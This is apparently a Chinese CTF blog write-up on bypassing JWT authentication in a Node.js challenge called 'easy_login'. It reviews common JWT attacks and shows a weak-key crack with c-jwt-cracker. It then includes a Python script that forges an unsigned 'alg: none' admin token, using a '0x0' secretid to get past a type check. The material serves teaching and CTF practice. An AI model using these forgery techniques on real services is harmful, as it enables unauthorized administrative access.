探索Node.js中JWT认证缺陷的绕过


前言

最近打比赛遇见一道Web题很有意思,考察的是Node.js中JWT认证问题,由于和自己以前所遇到的JWT认证绕过都不太一样,所以打算记录分析一下这个探索过程。

在开始描述探索过程之前不妨先来了解一下什么是Node.jsJWT

Node.js

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。 Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型。
Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。发布于2009年5月,由Ryan Dahl开发,实质是对Chrome V8引擎进行了封装。
Node对一些特殊用例进行优化,提供替代的API,使得V8在非浏览器环境下运行得更好。V8引擎执行Javascript的速度非常快,性能非常好。Node是一个基于Chrome JavaScript运行时建立的平台, 用于方便地搭建响应速度快、易于扩展的网络应用。Node 使用事件驱动, 非阻塞I/O 模型而得以轻量和高效,非常适合在分布式设备上运行数据密集型的实时应用。

Json Web Token

Json Web Token 简称JWT,用做用户身份验证。那么其结构长什么样呢,下面通过一个例子去分析

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9.TuRVnrUI9ouQRElTfKF8pK-bZz-Z5umNew9m4YJDpSg

上面是一串JWT格式的字符串,在线解密查看内容:https://jwt.io/

image-20200419175403229

从解密的结果可以看到其由三部分组成(头部、载荷、签名)

Header
Payload
Signature

为什么说它的(JWT)名字里面带有Json不难看出,因为其解密出来的内容是按照Json格式存储的,下面通过上述的一个JWT例子对其三部分简单介绍一下

Header通常由两部分组成:令牌的类型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA。

  • 明文
{
  "typ": "JWT",
  "alg": "HS256"
}

不难看出typ为类型的缩写,alg为算法的缩写。然后,这个JSON被Base64编码,形成JSON Web Token的第一部分。

  • 密文
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

Payload

令牌的第二部分是包含声明的有效负载。声明是关于实体(通常是用户)和其他元数据的声明。

  • 明文
{
  "secretid": 1,
  "username": "admin",
  "password": "Qftm"
}

同样对其base64编码得到第二部分

  • 密文
eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9

Signature

这部分为创建签名部分,必须采用header,payload,密钥三部分处理,利用header中指定算法进行签名。

例如HS256(HMAC SHA256),签名的构成为:

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)     #例子中所述的密钥为:123

然后将这部分同样base64编码形成JWT第三部分。

了解了Json Web Token的组成,下面理解其攻击手法就比较容易了。

Node.js JWT Attack

在了解Node.js中的JWT问题之前,有必要了解一下一般常见的JWT认证绕过手法。

常见攻击手法

一般情况下针对JWT认证的绕过主要有三种情况,都是针对密钥并结合签名算法进行合理利用的。

第一种:算法修改

这种手法主要是转换签名算法:非对称签名算法—->对称签名算法。

例如:网站信息泄露,泄露了公钥publickey,然而网站采用的RSA的签名算法,这种情况下其使用私钥进行签名,公钥进行解密验证。

此时你会发现公钥好像没什么用,是否真的没用呢?答案是否定的,我们可以将其签名算法进行更改,讲原本的对称算法改为非对称算法然后伪造相应的JWT进行绕过,因为我们采用对称算法然后利用泄露的公钥进行签名,服务端会相应的利用其公钥正常解密,这是由于对称算法的密钥一致性(加密和解密使用的是同一个密钥)。

第二种:密钥可控

这种情况下主要是由于网站的漏洞我们可以控制其密钥的产生。

例如:网站的密钥由一个ID进行查询获得

针对这种情况可以尝试注入改变其ID的查询结果,使密钥为我们自己构造的,这样即可绕过其认证限制。

第三种:密钥爆破

这种情况下主要是利用了弱密钥的因素,然后进行密钥爆破。

例如:网站采用的是弱密钥进行签名,如上面所述的例子密钥为123

使用工具爆破:c-jwt-cracker

root@rose:~/c-jwt-cracker-master# ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzZWNyZXRpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInBhc3N3b3JkIjoiUWZ0bSJ9.TuRVnrUI9ouQRElTfKF8pK-bZz-Z5umNew9m4YJDpSg
Secret is "123"
root@rose:~/c-jwt-cracker-master#

下面所述的Node JWT 攻击手法和上面所常见的手法并不一样

Node JWT 攻击手法

这里通过一个题目案例,真实的对Node.js中JWT认证绕过进行攻击的手法研究,攻击目的为绕过登录限制,使用管理员权限进行操作Get Flag。

主要考察点如下:

  • Node.js 代码审计

  • Node.js 依赖库缺陷

  • Node.js 弱类型特性

实际案例

题目信息如下:

题目名称:easy_login

题目描述:最近正在开始学习nodejs开发,不如先写个登陆界面练练手。什么,大佬说我的程序有bug?我写的代码逻辑完美顺利运行怎么可能出错?!错的一定是我的依赖库!!

初步测试

首先题目链接打开后是个登录界面

image-20200419130804080

依据题目描述可知,其网站采用的是Node编写,由于node应用默认存在package.json,所以尝试访问查看是否存在一些重要信息,可以看到采用了jsonwebtokenkoa-jwt等验证组件

http://xxxxx/package.json

{
  "name": "login",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "test": "npm start"
  },
  "dependencies": {
    "jsonwebtoken": "^8.5.1",
    "koa": "^2.11.0",
    "koa-bodyparser": "^4.2.1",
    "koa-jwt": "^3.6.0",
    "koa-router": "^7.4.0",
    "koa-session": "^5.12.3",
    "koa-static": "^5.0.0",
    "koa-views": "^6.2.1",
    "pug": "^2.0.4"
  }
}

先不管其它,尝试注册普通用户1:1登录查看

image-20200419130959771

进去之后显示权限不够,继续观察,抓包分析

image-20200419132133431

根据抓包信息可以看到采用了JWT验证用户信息:JWT解密

image-20200419132143332

观察网站源码,在app.js中可以查看登录验证,可以看到登录相关的主要存在这三个变量中username, password, authorization。当登录成功时就会跳转到/home目录下失败则会返回Cannot read property 'split' of undefined

/**
 *  或许该用 koa-static 来处理静态文件
 *  路径该怎么配置?不管了先填个根目录XD
 */

function login() {
    const username = $("#username").val();
    const password = $("#password").val();
    const token = sessionStorage.getItem("token");
    $.post("/api/login", {username, password, authorization:token})
        .done(function(data) {
            const {status} = data;
            if(status) {
                document.location = "/home";
            }
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function register() {
    const username = $("#username").val();
    const password = $("#password").val();
    $.post("/api/register", {username, password})
        .done(function(data) {
            const { token } = data;
            sessionStorage.setItem('token', token);
            document.location = "/login";
        })
        .fail(function(xhr, textStatus, errorThrown) {
            alert(xhr.responseJSON.message);
        });
}

function logout() {
    $.get('/api/logout').done(function(data) {
        const {status} = data;
        if(status) {
            document.location = '/login';
        }
    });
}

function getflag() {
    $.get('/api/flag').done(function(data) {
        const {flag} = data;
        $("#username").val(flag);
    }).fail(function(xhr, textStatus, errorThrown) {
        alert(xhr.responseJSON.message);
    });
}

第一想法是尝试寻找是否泄露了密钥或者爆破密钥,但是最终都无果,于是又回到题目描述,那就只有某些组件存在可能绕过漏洞。

深入测试

由于上面的 app.js 里有写到 static 是直接映射到程序根目录的,猜测程序可能存在任意文件读取漏洞。继续对网站进行探测,在controllers接口中发现api.js泄露,里面存在具体的登录注册等逻辑代码,也就是放在服务端的代码。

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

分析代码逻辑可知:Node.js调用jsonwebtoken进行用户注册验证等操作。

注册部分代码逻辑:

首先用户名不能为空且不能为admin用户,然后secrets.length > 100000就置为空,可知当注册用户达到100000时就会清空原有密钥信息,下来的就是注册信息合法开始调用jwt.sign()进行JWT的生成,然后返回给用户,其中的密钥是随机生成的crypto.randomBytes(18).toString('hex')并与用户注册的sid进行绑定const secretid = global.secrets.length;,密钥的存储是在一个数组中,每当新增一个用户都会随机产生一个密钥进行存储。

登录部分代码逻辑:

首先用户名和密码不能为空,然后使用JSON.parse()对post的authorization字段进行提取sid,这个sid就是用户身份的唯一标志,依据逻辑if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))可知sid不能为空并且sid需要大于等于0、小于密钥数组的实际长度,也就是说登录的用户在服务端需要能查出来,通过验证之后,下来由用户sid对global.secrets进行取值,也就是取得相应用户的密钥,然后进行用户验证,返回相应状态:验证成功的用户status=true否则为false

简单来说,其代码逻辑可以看作数据库操作,通过用户标志查询数据库是否存在该用户记录,然后进行用户验证。

Getflag部分代码逻辑:其实就是验证登录用户是否为admin用户,普通用户会提示权限不足throw new APIError('permission error', 'permission denied');

绕过分析

分析代码之后,逻辑已经比较清楚了,要想得到管理员权限就需要绕过sid(用户ID)和secrets(用户密钥)

由于Node的jsonwebtoken库存在一个缺陷,当用户传入jwt secretid为空时 jsonwebtoken会采用algorithm none进行解密,即便在登录验证代码部分const user = jwt.verify(token, secret, {algorithm: 'HS256'});后面的算法指名为 HS256,验证也还是按照 none 来验证通过的。

options.algorithms = ['none'];

既然这样,我们就可以通过传入不存在的secretid,导致algorithm为none,由于algorithm=none所以在构造JWT时就不需要提供密钥,然后就可以通过伪造jwt来成为admin。

但是,我们可以看到实际的Node.js代码中做了限制,当sid不满足if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0))条件时就会错误APIError('login error', 'no such secret id');,所以要想构造管理员权限的JWT,就要绕过这个sid限制。

分析sid限制绕过:

根据if条件可知,sid === undefined || sid === null这部分逻辑很容易绕过,主要是!(sid < global.secrets.length && sid >= 0)这部分。要绕过这部分,既要构造sid不存在又要满足0-global.secrets.length这个范围,所以这里可以利用Node.js的弱类型特性来绕过限制,比如十六进制字符串进行绕过:"0x0"(或者使用小数绕过0.11等)

Console控制台测试

image-20200419214315213

测试结果可以看到其能够绕过if逻辑,但是需要注意一点,这个十六进制字符串"0x0"要想在JWT攻击载荷里面生效,前提是必须注册的用户需要大于0,不然这一步通过不了sid < global.secrets.length,因为前面已经注册了一个普通用户所以这里不在注册,直接构造利用。

编写脚本构造:

import jwt
token = jwt.encode({"secretid":"0x0","username":"admin","password":"Qftm"},algorithm="none",key="").decode(encoding='utf-8')
print(token)

Run result:

 → Qftm ← :~/桌面/Qftm# python3 exp.py 
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJzZWNyZXRpZCI6IjB4MCIsInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IlFmdG0ifQ.
 → Qftm ← :~/桌面/Qftm#

解码查看构造的admin jwt情况

image-20200419215540824

构造没问题之后直接发包提交构造的JWT进行验证

image-20200419220440780

可以看到构造的JWT回显状态为True已经验证成功,成功伪造了admin,下来直接重新抓取login页面利用构造的JWT重放绕过管理员登录获得管理员权限

image-20200419221604996

之后由修改过的login页面重放至home页面

image-20200419221232153

然后再重放home页面直接以管理员身份登录

image-20200419221053719

总结

到这里整个Node.js中的JWT认证分析及绕过过程已经探索完毕,主要是JWT原理的理解以及代码审计的重要性,其次,重要还是利用了Node.js本身弱类型特性以及所提供的jsonwebtoken的内部缺陷再结合程序代码编写本身的缺陷进行认证绕过。


Author: Qftm
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source Qftm !
 Previous
ISCC 2020 Web WriteUp ISCC 2020 Web WriteUp
记录一下ISCC2020历经25天的Web题解,题量可能有点多 QAQ !!针对题目的难易程度上:易、中、难都有(老少皆宜),此次比赛和以往不太一样,增加了擂台题和实战题一定程度上还是不错的。
2020-05-26
Next 
探索php://filter在实战当中的奇技淫巧 探索php://filter在实战当中的奇技淫巧
在渗透测试或漏洞挖掘的过程中,我们经常会遇到php://filter结合其它漏洞比如文件包含、文件读取、反序列化、XXE等进行组合利用,以达到一定的攻击效果,拿到相应的服务器权限。
2020-04-03
  TOC